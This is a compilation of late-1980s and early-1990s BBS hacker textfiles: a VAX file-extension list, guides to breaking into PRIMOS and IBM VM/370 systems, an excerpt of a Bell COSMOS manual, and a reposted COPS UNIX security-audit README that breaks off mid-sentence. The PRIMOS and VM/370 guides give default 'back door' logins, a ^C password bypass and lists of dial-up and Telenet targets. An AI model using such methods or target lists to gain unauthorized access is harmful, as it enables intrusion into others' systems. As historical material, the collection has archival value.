What’s Hacking VAX Special – 7

Subject: What’s Hacking VAX Special – 7
From: David Lightman (Level 30) [A dude who wanted access]
To: ALL
Sent: 3/1/90 at 3:00 pm

FILENAME EXTENSIONS:
===================

Occasionally you will run across a BIG directory. This will
hopefully not happen until you read more on VAX on my WHAT’S
HACKING sub boards, but if it does, this list will hopefully help
you avoid making too big a mistake or wasting a lot of time.

ADA Ada compiler source code file
BAS BASIC compiler source code file
B32 BLISS-32 compiler source code file
C C compiler source code file
COB COBAL compiler source code file
FOR FORTRAN compiler source code file
MAR MACRO compiler source code file
PAS Pascal compiler source code file
PLI PL/I compiler source code file

CLD DCL command description file
COM DCL batch or command procedure file
DAT Data file
DIS Distribution file (as in mail)
DIR Directory file (as in a subdirectory)
EDT Command file for the EDT editing program
EXE Executable program
HLP Text for help libraries
JOU EDT editor journal when problems occur
LIS System listing file (as in TYPE, PRINT, & PHOTO)
LOG Batch job output file
MAI Mail message file
MEM DSR output file
OBJ Object code created by compiler before LINKing
RNO Source file for DSR
SIXEL Files for Sixel graphics
SYS System image file
TJL Journal created when the unusual occurs (DECNET a lot)
TMP Temporary file (sometimes valuable)
TPU Editor command file
TXT Text library input file (also MAIL output file)
UAF USER AUTHORIZATION FILE

I will comment extensively on UAF files if I decide to type up
another VAX tutorial.

================================================================

Enter item#, Scan, Quit, ?=Menu

VAX>

Downloaded From P-80 Systems 304-744-2253

Hacking Primos Systems By Nanuk of the North

=======================================
= =
= HACKING PRIMOS SYSTEMS =
= =
= BY NANUK OF THE NORTH =
= =
=======================================

PREFACE
——-

VERRY LITTLE HAS BEEN WRITTEN ON THE PRIMOS SYSTEM AND SO IT IS THE PURPOSE OF THIS FILE TO PROVIDE SOME USEFULL INFORMATION ON THIS TYPE OF SYSTEM.

THE FOLLOWING NOTATION WILL BE USED..

CARRIAGE RETURN, RETURN OR ENTER (CHR$(13))

^ A CONTROL CHARACTER LIKE ^C (BREAK, RUN STOP, OR CHR$(3))

HOW TO TELL A PRIMOS SYSTEM
—————————

A PRIMOS SYSTEM CAN BE RECOGNISED BY ITS UNUSUAL PROMPT

ER!

AND ITS UNUSUAL ERROR MESSAGE

INVALID COMMAND “HELP”. (LOGO$CP)

ALL “PRIMENET” SYSTEMS ARE PRIMOS

LOGGING ON
———-

TO LOG ON TO A PRIMOS SYSTEM HIT ANY TWO KEYS AND THE SYSTEM WILL THEN RESPOND

LOGIN PLEASE.

ER!

YOU MUST THEN TYPE AT THE PROMPT

ER! LOGIN (LOG HEADING)

THE FOLLOWING BACK DOORS TO LOGIN MAY BE FOUND IN MANY PRIMOS SYSTEMS

ER! LOGIN GAMES

ER! LOGIN DEMO

AND MOST IMPORTANTLY

ER! LOGIN SYSTEM

LOGIN SYSTEM WILL USUALLY LOG YOU IN AS THE SYSTEM OPERATOR!

USUALLY IF YOU KNOW SOMETHING ABOUT THE SYSTEM THIS WILL HELP YOU FIND A VALID LOGIN HEADING… LIKE THE NAME OF THE SYSTEM ETC.

USER NAMES AND PASSWORDS
————————

AT THIS POINT MOST SYSTEMS WILL BEGIN RUNNING A SOFTWARE PACKAGE OF SOME KIND… THE PASSWORDS TO MOST SUCH PACKAGES ARE A MAXIMUM OF 6 CHARACTERS. AT THIS POINT ON MANY OF THE LESS UPDATED SYSTEMS A PASSWORD IS NOT NECISSARY JUST TYPE ^C AND THE SYSTEM WLL RESPOND LIKE THIS…

PASSWORD:^C END OF FILE.

ER!

IF THE SYSTEM IS AN UPDATED ONE THEN ^C AT THIS POINT WILL SIMPLY CAUSE THE SYSTEM TO ISSUE A LINEFEED AND REPEAT ITSELF. IN THAT CASE YOU WILL NEED TO HACK OUT A VALID PASSWORD.

BREAKING THE SYSTEM
——————-

IF YOU ARE ABLE TO GET IN WITH A PASSWORD YOU WILL AT THIS POINT STILL NEED TO BREAK THE SYSTEM AT THE FIRST AVAILABLE PROMPT. AGAIN IT WILL THEN RESPOND…

END OF FILE.

ER!

YOU HAVE NOW GAINED ACCESS TO THE OPERATING SYSTEM.

PRIMOS COMMANDS
—————
THE PRIMOS COMMANDS ARE DIFFICULT AND DIFICULT TO UNDERSTAND… MANY OF THEM ARE ONLY ONE OR TWO CHARACHTERS HOWEVER, MAKING THEM EASY TO HACK OUT.

LI= LISTS FILES FOR THAT LOG HEADING

LI (FILE NAME) LISTS A FILE

LA=ON SOME SYSTEMS THIS LIST FURTHER FILES

TI= TIME ON THE SYSTEM

LO=LOG OUT

CR=CREATE A FILE

LD=LIST FILE DIVISIONS

USAGE=LISTS SYSTEM STATISTICS

ED=EDIT A FILE

TY=LIST OF USERS ON SYSTEM

AT=ATTACH TO A LOG HEADING

ATTACHING
———

THE AT (ATTATCH) COMMAND WILL ALLOW YOU TO ACCESS OTHER LOG HEADINGS SO THAT YOU DONT HAVE TO LOG IN AS A HEADING TO GET AT THOSE FILES… SO IF YOU ARE LOGED IN AS “USER” AND YOU TYPE…

ER! AT SYSTEM

ON THE MORE PRIMATIVE SYSTEMS YOU WILL HAVE ACCESS TO THE SYSTEM OPERATORS FILES!

OR IF YOU TYPE

ER! AT GAMES

YOU WILL HAVE ACCESS TO THE GAMES

IF YOU TYPE

ER! AT DEMO

YOU WILL HAVE ACCESS TO PRIMOS DEMOS.

OTHER COMMANDS
————–

OTHER COMMANDS YOU MIGHT TRY ARE

AB
O
C
IN
BI
DI
R
D=DATE
SA
JOB
CNAME
CA
NAME

A MAJOR BUG
———–
A MAJOR PROBLEM WITH PRIMOS SYSTEMS IS THAT FILES GET SCREWED UP IF YOU HANG UP AND LEAVE THEM OPEN OR IF YOU HANG UP WILE THEY ARE BEING VIEWED.

WRITTEN MARCH 1ST BY NANUK OF THE NORTH
=======================================

APPENDED

PRIMOS SYSTEMS CAN BE FOUND AT…

BORIS (817)571-6680

ALSO AT THESE TELENET NODES (TELENET WILL NOT PASS A ^C)

PRIMENET 213 130
PRIMENET BOWSER 214 56
PRIMENET SYSD 212 30
PRIMENET SNY 212 39
PRIMENET XNY 212 137
PRIMENET 202 10
PRIMENET CCI.1 713 150
======================================

DOWNLOADED FROM P-80 SYSTEMS

��������

How to Take Control of your Local IBM VM/370 System by Another Hacker of the Elite Phreakers’ Club

**************************************
*                                    *
*   How to take control of your      *
*     local IBM VM/370 system        *
*                                    *
*    Written by Another Hacker       *
*    ————————-       *
*     The *Elite* Phreakers Club     *
*                                    *
**************************************

Preface
^^^^^^^

This file represents and shows you how to gain access of the neighborhood
IBM VM/370 Mainframe with tricks and tips it could save you hours of HELP
file access in a few easy to learn lines.

First
Connection to a IBM VM/370 is easy!!. After connection (by modem or
terminal in half duplex if acceptable) type:

(C/R) B
or
PB
or
SP

if it is a VM/370
it should come back with:

VM/370 online

then hit (C/R) or Space Bar
a dot (.) should appear.  This is the
main command prompt.

.
now
you must logon

Format:
.LOG (id) (password)
or
.LOG (id)

ex:
.LOG OPERATOR SYSTEM
or
.LOG OPERATOR
ENTER PASSWORD
SYSTEM

Valid VM accounts built into the machine by IBM are:

OPERATOR     (for Operator status!)
VMBACKUP     (memory backup account)
PVM
BATCH1

Operator status IS available via the dial-up with NO restrictions!! after
entering  your account (ID) the password can only be 8 characters maximum
then you are in.

Once on you are in CMS status you should remain in CMS status to gain full
appreciation of  the IBM system.To check to see what status you are in hit
(C/R) alone after the dot (.)

Ex:

.CMS
.

or

.CP
.

etc…

(Please note: CMS=Conversational Monitoring System)

and

(CP=Control Program. You don’t want to be in this state type BEGIN)

if for some reason you witness a abnormal logon type

BEGIN

it will then reset your account and put you back into the normal mode of the
machine

(Note: all instructions are meant to be executed only in the CMS environment)

Q NAMES

lists useraccounts presently logged on

Q ALL

lists what/who owns the account memory etc..

LISTFILE

lists the current directory of the account

TYPE (filename)

Executes a CMS file similar to EXEC command.

for a help file listing type

HELP CMS

and

LOGOFF

logs you off the VM system

Here is a small list of VM systems
to experiment with:

on Telenet
==========

C 20120    C 21222
C 21253    C 51647

That’s all dudes and hack on!

IBM VM/370 Hacking Doc’s brought to you by

%%%%> Another Hacker <%%%%



C O S M O S, by Doctor Who

 ******************************************************************************
 *									      *
 *			    C	 O    S    M   O   S			      *
 *									      *
 *************** C O P Y R I G H T  1 9 8 4  D O C T O R  W H O ***************

			 COSMOS SERIES PART 1 - THE MANUAL

MAY 1, 1984:

  IN THIS SERIES OF ARTICLES WE WILL DEAL WITH COSMOS, THE BELL SWITCHING
COMPUTER, HOW IT WORKS AND HOW TO USE IT TO YOUR OWN BENEFIT.

  FIRST IN THE SERIES IS PART OF THE ACTUAL COSMOS MANUAL.  IT IS NOT THE WHOLE
THING, BUT THE BEST PART..IT MAY BE DIFFICULT TO UNDERSTAND, BUT IT IS A
VALUABLE REFERENCE MANUAL.

NOTE: THIS IS IN 80 COLUMNS AND LOWER CASE.

BELL ISSUE: OPA-1Y632-01
	    ISSUE 2, JANUARY 1983

5.  PERMANENT ASSEMBLIES

5.1 Create a Permanent Assembly  (CAY)

  Transaction CAY associates a group of facilities as an assembly.  Permanent
Assemblies may be created from facilities which have spare (SF), reserved (RS),
avaliable (AV), miscellaneous (MS), official (OF), trunk injector (TJ), test
(TS) or working (WK) status.  Facilities that have an excluded (EX), left-in
(LI) or unknown (UK) status, may not be part of a Permanent Assembly.

  When a Permanent Assembly is created, the status of non- working facilities
will be changed to reserved and will be assigned an assembly code will be
assigned to the facilities.

  Although Permanent Assemblies may be created using a combination of working
facilities and spare facilities, service orders that are issued against such
assemblies are blocked.  Therefore, it is recommended that Permanent Assemblies
using a combination of working and spare facilities not be created.

  In an operational wire center, if an assembly is to be made permanent in
COSMOS, an assembly catagory (AC) of "PERM" must be specified on the CAY input.
In a data conversion wire center, Permanent Assemblies are assumed, so the input
of "AC PERM" is not required.

  System generated codes identify Permanent Assemblies on output by one
alphabetic character.  All alphabetic characters are randomly assigned except S,
T, and Z.  When associated with a facility, these alphabetic characters
indicate:

  S = Suspended Cricuit
  T = Reserved for TIRKS (Trunk Inventoried Record Keeping System)
  Z = Assembled facilities that have been suspended.  More than one group of
assembled facilities may show the same assembly code tag.  This does not imply
that all facilities with the same tag are assembled to each other; they must
also be in the same circuit to be assembled to each other.  Each code may be
used more than once.

  When a Permanent Assembly is deleted, the assembly code tag is removed from
the facilities.  Non-working facilities will return to a spare status.
Equivalent working facilities will retain their present status.

  Permanent Assemblies can be created from any combination of the following
facilities:

    Telephone Number (TN)
    Line Equipment (OE)
    Cable Pair (CP)
    Tie Pair (TP)
    Bridge Lifter (BL)
    Trunk (TK)
    Concentrator (CON)
    Message register (MR)
    Special Equipment (SE)

  Automatically Assigned Relays - Advanced (AR), Sleeve- Connect (SC), Tens
Block Auxiliary (TBA), and Tens Block Screening (TBS) types

   Non-Inventoried Relays (RLY)
   Terminal (TER)
   X-Number (XN)
   Private Lines (PL)
   Transimission Equpitment (TRE)

  At least one inventoried facility, PL or TER must be entered into the assembly
before any SEs, non-inventoried TKs, or CONs.

----------
  * When a working relay, (both inventoried and non- inventoried) which os part
of a Permanent Assembly is disconnected, COSMOS does not presently have the
capability of updating the relay files and table to reflect this disconnect.

  Coordination between the LAc and the FCC (Frame Control Center) is required to
establish Permanent Assemblies on both spare and working facilities.

  The following examples illustrate various functions of transactions CAY
(Create an Assembly) and ISH (Circuit Inquiry).

  Example 1:  Create a Permanent Assembly associating a spare CP and SE with
voice repeater information.

EL% CAY
I CP 2-1010/TP TM03-606/SE VR-330(F04001)/AC PERM
_.
**CAY COMPLETED

Example   2:  An inquiry (ISH) on the above assembly.

  The inquiry shows that the alphabetic (permanent) assembly code is assigned to
each facility that is part of the assembly.  Also note that the tie pair and
points have been populated.

EL% ISH
H CP 2-1010
_.

CP  2-1010
    ST RS	    AY M    DATE 01-18-83
    LOC WF02005
TP  TM03-0606
    ST	RS	    AY M    DATE 01-18-83
    LOC F02005
    LOC F04001
    FROM FAC CP   2-1010   TO FAC SE  VR-330
SE  VR-330
    ST RS	    AY M
    LOC F04001

**ISH COMPLETED

Example   3: An ISH on a working circuit without an assembly.

EL% ISH
H CP 2-1010
_.

SE  VR-330
    ST WK
    LOC  F04001
TP  TM03-0606
    ST WK	 DATE 01-18-83
    LOC F02005
    LOC F04001
    FROM FAC CP   2-1010     TO FAC SE	 VR-330
CP  2-1010
    ST WK	 DATE 01-18-83	     RZ 13
    LOC WF02005
OE  000-026-015
    ST WK	 DATE -1-18-83	 CS IFR   US 1FR  FEA TNNL
    LOC WF02007
TO  TM01-0741
    ST WK	 DATE 01-18-83
    LOC F02007
    LOC F04001
    FROM FAC OE  000-026-015	TO FAC SE VR-330
TN  833-7328
    ST WK	 DATE 01-18-83	   TYPE X

**ISH COMPLETED

  Example 4:  Create a Permanent Assembly associating a working CP, TP and SE
from the circuit in Example 3.

EL% CAY
I CP 2-1010/TP TM03-606/SE VR-330/AC PERM
_.
**CAY COMPLETED

  Example 5:  An ISH of the circuit.

  The inquiry identifies the Permanent Assembly linking the CP, TP and SE.  This
information will remain linked even after the circuit is disconnected.

EL%
H CP 2-1010
_.

SE  VR-330
    ST WK	AY G
    LOC F04001
TP  TM03-0606
    ST WK      AY G	DATE 01-18-83
    LOC F02005
    LOC F04001
    FROM FAC CP  2-1010   TO FAC SE  VR-330
CP  2-1010
    ST WK      AY G	 DATE 01-18-83	     RZ 13
    LOC WF02005
OE  000-026-015
    ST WK		 DATE 01-18-83	    CS 1FR   US 1FR    FEA TNNL
    LOC WF02007
TP  TM01-0741
    ST WK		 DATE 01-18-83
    LOC F02007
    LOC F04001
    FROM FAC OE  000-026-015	 TO FAC SE   VR-330
TN  833-7428
    ST WK		 DATE 01-18-83	 TYPE X

**ISH COMPLETED

5.2   Modify a Permanent Assembly

  Transaction MAY is used to modify a Permanent Assembly (in instances when a
service order is being changed, etc.  ).  The assembly to be modified must be
identified by an inventoried facility (other than AR, SC, TBA), a PL or a TER on
the H- line.  Facilities to be added are entered on I-Lines.  Facilities to be
deleted are entered on 0-Lines.  The input of assembly category (AC) PERM is not
requied on the H-line input for MAY.  The Permanent Assembly tag will be removed
from the outgoing facility and transferred to the incoming facility at the
completion of the MAY transaction.

  When MAY is completed, the outgoing facility (s) that had a reserved status
will be changed to "spare" status.  If the outgoing facility is presently
working, the status will remain the same.

  Incoming facilities that are spare will be changed to a "reserved" status.
Incoming facilities that are working will retain that status.

  The following examples illustrate various functions of transactions MAY
(Modify an Assembly) and ISH.

  Example 6:  An inquiry (ISH) of a Permanent Assembly.

TA% ISH
H CP 2-1365
_.

CP  2-1365
    ST RS	     AY G    DATE  01-20-83
    LOC  F02006
TP  TM01-1151
    ST RS	     AY G    DATE  01-20-83
    LOC  F02005
    LOC  F04001
TRE DLXREG0401	RR104,06-037
    ST RS	     AY G    DATE  01-20-83
    LOC  F04001

**ISH COMPLETED

  Example 7:  Modify a Permanent Assembly changing the transmission equipment.

TA% MAY
H CP 2-1365
_O TRE RR104.06-037
_I TRE RR104.06-038
_.
OUT: TRE DLXREG0401  RR104.06-037
IN: TRE RR104.06-038
**MAY COMPLETED

  Example 8:  An inquiry (ISH) on the modified assembly.

  The inquiry shows that TRE RR104.06-038 has become part of the assembly.

TA% ISH
H CP 2-1365
_.

CP  2-1365
    ST RS	     AY G  DATE 01-20-83
    LOC WF02006
TP  TM01-1151
    ST RS	     AY G  DATE 01-20-83
    LOC  F02005
    LOC  F04001
    FROM FAC CP  2-1365    TO FAC TRE RR104.06-038
TRE DLXREG0401	RR104.06-038
    ST RS	     AY G  DATE 01-20-83
    LOC  F04001

**ISH COMPLETED

  5.3 Delete a Permanent Assembly (DAY)

  Transaction DAY deletes an entire assembly.  Required O-line entry identifies
one inventoried facility (other than AR, SC, or TBA), a TER or a PL.

  When transaction DAY is completed, the Permanent Assembly tag is removed from
the outgoing facilities.

  The outgoing facilities that had a "reserved" status will be changed to
"spare" and will be available for assignment.  Facilities that have a working
status will retain their status.

  Example 9:  Delete a Permanent Assembly

TA% DAY
O CP 2-1365
_.
OUT: CP  2-1365
OUT: TP  TM01-1151
OUT: TRE DLXREG0401 RR104.06-038
**DAY COMPLETED

  Example 10:  An inquiry on the deleted assembly

  The inquiry shows that the CP that was a part of the assembly has been removed
from it and has become spare (SF).  The other facilities that were in the
assembly (TP and TRE) are also un- assembled and have spare statuses.

TA% ISH
H CP 2-1365
_.

CP  2-1365
    ST SF	   DATE 01-20-83
    LOC  F02006

**ISH COMPLETED

  5.4 Maintenance Change Tickets and Permanent Assemblies

  Transaction MCE (MaintenanceS Change Establish) is used to replace any
physical facility on a given circuit, in responce to a SMaintenance Change
Ticket (MCT).  SWhen an MCE is run against a facility that is permanently
assembled, the facilities in the assembly will be removed from the circuit along
with the facility being removed.  In the following sequence it is assumed that
the user wished to keep the other assembled facilities in the circuit.

  Example 11:  ISH of a circuit containing a Permanent Assembly.  The SE in
thSis case represents an apartment house door answering service termination.

EL% ISH
H TN 833-6439
_.

CP  2-1092
    ST WK	  AY Q	  DATE 01-20-82 		 R Z 13
    LOC WF02005
TP  TM02-0622
    ST WK	  AY Q	 DATE 01-21-82
    LOC F02005
    LOC F04001
    FRSOM FAC CP  2-1092   RO FAC SE  AHDASVC-403A
TN  833-6439
    ST WK	DATE 01-20-82	  TYPE X
    OE	000-222-301
    ST WK	DATE 01-20-83  CS 1FR	US 1FR	 FEA TNNL
    LOC WF02005
TP  TM02-0605
    ST WK	DATE 01-21-82
    LOC F02005
    LOC F04001
    FROM FAC OE  000-222-301	TO FAC SE  AHDASVC-403A
SE  AHDASVC-403A
    ST WK	  AY Q
    LOC F04001

***ISH COMPLETED
Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open


RL C.O.P.S. File by Brian Oblivion


                  *  R e n e g a d e   L e g i o n  *

                           RL C.O.P.S. File

                                  by

                            Brian Oblivion

                          Technical Report #7

                               May 1991

The Night Elite BBS     (RL HeadQuarters) : (617) oOo-oOOo
The Electric Eye ][     (RL Support Site) : (313) 776-8928
Mind Of 'a Lunatic      (RL Support Site) : (714) 693-0957
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

   Well, due to the increasing popularity of this package of utilities, I
feel that everyone should be aware of it, watch for it, and avoid it.
Looking at the file one will say, by Jove! how easy it would be to modify
this program to report to me all the flaws of a system.  And so it should
be done.  At any rate, absorb the information.

   The package, which will be henceforth be referred to as COPS
(Computer Oracle and Password System), can be broken down into three
key parts.  The first is the actual set of programs that attempt
to automate security checks that are often performed manually (or
perhaps with self written short shell scripts or programs) by a systems
administrator.  The second part is the documentation, which details
how to set up, operate, and to interpret any results given by the
programs.  Finally, COPS is an evolving beast.  It includes a list
of possible extensions that might appear in future releases, as well
as pointers to other works in UNIX security that could not be included
at this time, due to space or other restrictions.

   This document contains six sections:

      1) What is COPS?
      2) What COPS is _not_
      3) How to Configure COPS
      4) Running COPS for the 1st Time
      5) Continued Use and Installing COPS
      6) Disclaimer and End Notes

1) What is COPS?
-----------------

   COPS is a collection of about a dozen (actually, a few more, but
a dozen is such a good sounding number) programs that each attempt
to tackle a different problem area of UNIX security.  Here is what it
currently checks:

o  file, directory, and device permissions/modes.

o  poor passwords.

o  content, format, and security of password and group files.

o  the programs and files run in /etc/rc* and cron(tab) files.

o  finds SUID files, and checks for their writeability and if they are
   shell scripts.

o  runs a crc check against important binaries or key files, and reports
   any changes therein.

o  writability of users home directories and startup files (.profile,
   .cshrc, etc.)

o  anonymous ftp setup.

o  unrestricted tftp, decode alias in sendmail, SUID uudecode problems.

o  miscellaneous root checks -- current directory in the search path,
   a "+" in /etc/host.equiv, unrestricted NFS mounts, ensures root is
   in /etc/ftpusers, etc.

o  includes the Kuang expert system, that takes a set of rules and tries
   to determine if your system can be compromised (for a more complete list
   of all of the checks, look at the file "release.notes" or "cops.report";
   for more on Kuang, look at at "kuang.man".)

   All of the programs merely warn the user of a potential problem --
COPS DOES NOT ATTEMPT TO CORRECT OR EXPLOIT ANY OF THE POTENTIAL PROBLEMS
IT FINDS!  COPS either mails or creates a file (user selectable) of any
of the problems it finds while running on your system.  And because COPS
does not correct potential hazards it finds, it does _not_ have to be
run by a privileged account (i.e. root or whomever.)  The only security
check that should be run by root to get maximum results is the SUID checker;
although it can be run as an unprivileged user, to find all the SUID files
in a system, it should be run as root (in addition, if key binaries are
not world readable, only executable, the CRC checking program ("crc.chk")
needs to be run as a privileged user to read the file in question to get
the result.)  In addition, COPS cannot used to probe a host remotely; all
the tests and checks made require a shell that is on the site being tested.

   The programs are mostly written in Bourne shell (using awk, sed, grep,
etc. as well) for (hopefully) maximum portability.  A few are written
in C for speed (most notably the Kuang expert system and for implementing
fast user home directory searching), but the entire system should run on
most BSD and System V machines with a minimum of tweaking.

2) What COPS is _not_
----------------------

   COPS merely provides a method of checking for common procedural errors.
It is not meant to be used as a replacement for common sense or user/
operator/administrative alertness!  Think of it as an aid, a first line
of defense -- not as an impenetrable shield against security woes.  An
experienced wrong-doer could easily circumnavigate _any_ protection that
COPS can give.  However, COPS _can_ aid a system in protecting its users
from (their own?) ignorance, carelessness, and the occasional malcontent
user.

   Once again, COPS does not correct any errors found.  There are several
reasons for this; first and foremost, computer security is a slippery
beast.  What is a major breach in security at one site may be a standard
policy of openness at another site.  Additionally, in order to correct all
problems it finds, it would have to be run as a privileged user; and I'm
not going to go into the myriad problems of running SUID shell scripts
(See the bibliography at the end of the technical report "cops.report"
for pointer to a good paper on this subject by Matt Bishop.)

   At this time, COPS does not attempt to detect bugs or features (such
as the infamous ftpd, fingerd, etc) that may cause security problems.  Although
this may change in future versions, the current line of reasoning to avoid
general publication of programs such as these is that all the problems that
COPS detects can be repaired on any system it runs on.  However, many bugs
can be readily repaired only be having source code (and possibly a good
vendor to repair it), and many sites would have serious troubles if they
suddenly discovered unrepairable problems that could compromise their
livelihood.  It is possible that a more controlled release may come out
in the future to address such problems (but don't mail to me about getting
them -- unless you want to help write them! :-))

3) How to Configure COPS
-------------------------

  System V users, other Non-BSD systems, or sites with commands in
strange places -- you may have to run a shell script called "reconfig"
to change the pathnames of the executable programs called when using
COPS.  If your system does not use the paths listed in the shell
scripts, try running "reconfig".  This will reconfigure the pathnames
used by COPS to your system; COPS should run fine then, if it
can find all of the commands (reconfig should tell you if it
cannot.)  If trouble persists, you will have to change the paths
to your executable files (awk, sed, etc) by hand.  A drag, I know.
This all may change without notice, anyway :-)

  With all the varieties of unix, there are a few types that may need
extra help to run the system.  I've got README files for Apollo and Xenix
in the distribution -- see the files "README.apollo", and "README.xenix",
respectively -- if you have any troubles, drop me a line, and I'll
see what I can do about working out a patch with you.  Some problems
might arise with some SYSV machines (heck, to any machine :-)), due to
weird files and names for stuff.  What can I say?  Portability is a
problem.  You can comment out line 39 and 38 in "misc.chk", if you use
/etc/servers instead of /etc/inetd.conf.

4) Running COPS for the 1st Time
---------------------------------

   Since most of COPS was written and tested mostly on just a few machines
(at least compared to the total number out there!), you may have significant
differences that were not anticipated -- unfortunately, or fortunately,
UNIX is not quite standardized yet.  However, I haven't run into a UNIX
yet that I haven't been able to get it running on, with just a small amount
of change, so feel free to mail to me for help.

   COPS is run by simply typing "cops".  "cops" is a Bourne shell script
that runs each of the programs, accumulates the output, and then either 
mails or stores any results in a file.  "suid.chk" (and possibly "crc.chk")
is the only package that is meant to be run separately, simply because it
can take a long time to run, and possibly because it needs a privileged
account to run it; look at "suid.man" for more information.  By all means,
however, do not ignore the SUID checker!  Run it at least once a week, if
possible, more (daily?); intruders into a system often leave SUID files
to gain privileges later.  "crc.chk" should also be run; it can either
be run as a standalone program (preferred), or as part of the COPS package;
read the file "CRC.README", and the man page for more information.

   To run COPS for the first time, I suggest doing the following:

   -- Look at the disclaimer, file "disclaimer".  Don't sue me.
      Actually, this holds for all the times you use COPS (1/4 :-))

   -- Type "make" and "make docs" to create the formatted manual pages,
      to compile the C programs,  and to make the shell programs executable.
      A couple of potential (hopefully minor problems) might occur, probably
      only for SysV based machines; one, if you don't have the "-ms" package
      for nroff (i.e. you, get an error message after typing "make" about
      it), just remove the "-ms" flag; e.g., change line 7 of the
      "docs/makefile" file, from:

      ROFFLAGS   = -ms
        to
      ROFFLAGS   =

      The second potential problem might be with the password checking
      program; if it fails to compile, try uncommenting out line 20 in
      "makefile" -- e.g., enable the "BRAINDEADFLAGS = -lcrypt" flag.
      If this doesn't work... well, you can either work it out, or e-mail me.

   -- Read the technical report to understand what COPS is doing and
      what is going on -- "cops.report".  This gives a look at the
      philosophies, design notes, and finally a general outlay of the
      COPS system and UNIX security.  This can be forsaken, for those
      who just want to get to the results/see some action (people like
      me.)

   -- Next, change lines 51 and 52 in the "cops" shell file; this is
      what they were:

        SECURE=/usr/foo/bar
        SECURE_USERS="foo@bar.edu"

      SECURE should be the same directory as the directory that contains
      the cops programs, and SECURE_USERS should be your own login id, or
      to whomever you designate as the recipient of the output (your enemy?)

   -- Set "MMAIL=NO" in the "cops" shell file (line 25).  This will prevent
      a large mail file from choking the mailer.  All of the output will be
      put into a file called "year_month_day" (obviously, that's like:
      "1991_Dec_31", not actually the words, "year_month_day" :-)), and
      should be automatically placed by COPS in a directory that has the
      same name as the host it was run on (e.g., your own hostname.)

   -- Look at the directory and file configuration file, "is_able.lst"
      This contains critical files that COPS checks for group and world
      writability and readability.  Add or delete whatever files/directories
      you wish; if a file doesn't exist, COPS will effectively ignore it.
      (If you don't know or are uncertain what files/directories are
      important, what is given there is a good set to start with on most
      systems.)

   -- If you allow anonymous ftp access to your system, add a "-a" flag
      to "ftp.chk" on line 104 of "cops".  Right now, it is set up so
      that key files and directories are expected to be owned by root;
      however, it has provisions for two owners, $primary and $secondary --
      some may wish to change the second to "ftp", or some other user.
      Read the man page for ftp.chk, or look at "ftp.chk" for further notes.

   -- You may wish to comment out the password checker (line 109 in the
      "cops" shell file).  Although this is not necessary, it will speed
      up the package if you wish for immediate gratification.
      If you are using yellow pages/NIS, read "README.yp" for tips on how
      to check passwords there.

   -- Uncomment out the crc checker, "crc.chk" (line 123), if you desire to
      run it as part of the normal COPS run.

  You should be ready to roll.  COPS is run by simply typing "cops" (you
may wish to put in the background....)  If you followed my advice and
set "MAIL=NO" in the "cops" shell file, after COPS is finished, there
will be a report file created ("year_month_day") that lists the time and
machine it was created on.  Otherwise, COPS mails the report to the user
listed on the line 'SECURE_USERS="foo@bar.edu"'.  There is a file
"warnings", which contains most of the warning messages COPS uses, as well
as a brief explanation of how the message might pertain to your system and
finally a suggestion as how to "fix" any problem.

   NOTE: Change the shell script "cops" to reflect who you want the output
sent to and where the location of the program is BEFORE running the program.

5) Continued Use and Installing COPS
-------------------------------------

   Once you are satisfied that COPS indeed does something useful
(hopefully this will occur :-)), a good way to use it is to run it
on at least a semi-regular basis.  Even if it doesn't find any problems
immediately, the types of problems and holes it can detect are of the
sort that can pop up at any given time.  One way of running COPS
might be to run it as an "at" job or by cron.

   I highly advise that whatever directory COPS is placed in is to be
readable, writable, and executable only by the owner (typing 
"chmod 700 /usr/foo/bar" or whatever the name is will do this) of the
directory.  This is to prevent prying eyes from seeing any security
problems your site may have.  Even if you don't think of them as
important, someone else might come around and change your mind.  Since
COPS is fairly configurable, an intruder could easily change the paths
and files that COPS checks for, hence making it fairly worthless.  Again,
this comes back to the point that COPS is only a tool -- don't put down
your defensive shields merely because COPS says "all clear".  If this
sounds paranoid, it is!  Security people are traditionally paranoid,
for a reason....  In any case, it is probably not a good idea to advertise
any (even) potential weaknesses.

   Typing "make install" will create (if necessary) a subdirectory with
the name you put in $INSTALL_DIR (found on line 7 of "makefile"); if you
run a network with multiple architectures, you can have several executable
versions of COPS in the same NFS mounted directory structure.  You can run
COPS with "cops archtype", and it will cd into the archtype directory, use
the binaries in that directory (placed there by a "make install"), and put
any results in a subdirectory of the archtype directory with the appropriate
host name.

   For example, assume you have the following setup:

machine architecture    hostname    If run COPS with:
=====================   ========    ==================
cray                    ribcage     cops
vax                     bar         cops vax
vax                     foo         cops vax
sun                     earth       cops sun
sun                     mars        cops sun
sun                     venus       cops sun
mips                    hades       cops

  If $SECURE (the secure directory variable in the "cops" shell script) was
set to "/usr/secure", the resulting directory/reporting structure would be:

/usr/secure/cops/ribcage
/usr/secure/cops/vax/bar
/usr/secure/cops/vax/foo
/usr/secure/cops/sun/earth
/usr/secure/cops/sun/mars
/usr/secure/cops/sun/venus
/usr/secure/cops/hades

  Sometimes you will get the same report over and over again, everytime you
run COPS; for instance, with Ultrix 3.x, /dev/kmem is world readable -- this
is a security hole, but many utilities in Ultrix need this to function.  If
you wish to only see reports that are _different_ than the old reports, you
first need to have an older report saved in a file (in $SECURE/hostname, or
wherever you usually save the reports); you can then set "MMAIL=YES" _and_
"ONLY_DIFF=YES" (lines 25 & 30, respectively) in "cops"; everytime COPS is
run after that, it will compare the report it generated for the current
check with the old report; if it detects any differences, it will mail you
a report.  If not, it simply discards it.  This can be a real boon for a
site with a lot of machines running COPS every night...

   There are a couple of further options you may wish to explore.  First
of all, since so many breakins are because of poor passwords selection
by users, it would be a wise idea to add options to your password checking
program (line 109 in "cops").  You may wish to try some words from a
dictionary; you may use either your system dictionary (usually found in
/usr/dict/words), or you may use the same dictionary that the internet
worm found so lucrative when hitting all those thousands of hosts; that
dictionary is in the file "pass.words" (example; the way to include the
worm dictionary is: "pass.chk -w pass.words").  Also, try some of the options
in the password program, such as "-b", "-g", "-s", and "-c", which add
checks for backward, gecos, single letter & number, and upper and lower
case guesses, respectively.  Just as a note, each option will increase the
time needed to crack the passwords, of course; experiment!  See what is
reasonable for your hardware and resource capabilities.

   By using the "pass_diff.chk" program, you only check accounts that have
_changed_ their password since the last time you've checked -- this can
save enormous amounts of times with large systems; you can check your users
thoroughly once, then only check them as they change their passwords again.
Be careful, though, if you use this, and then later expand your checks
and/or your dictionary used to search for passwords, the earlier accounts
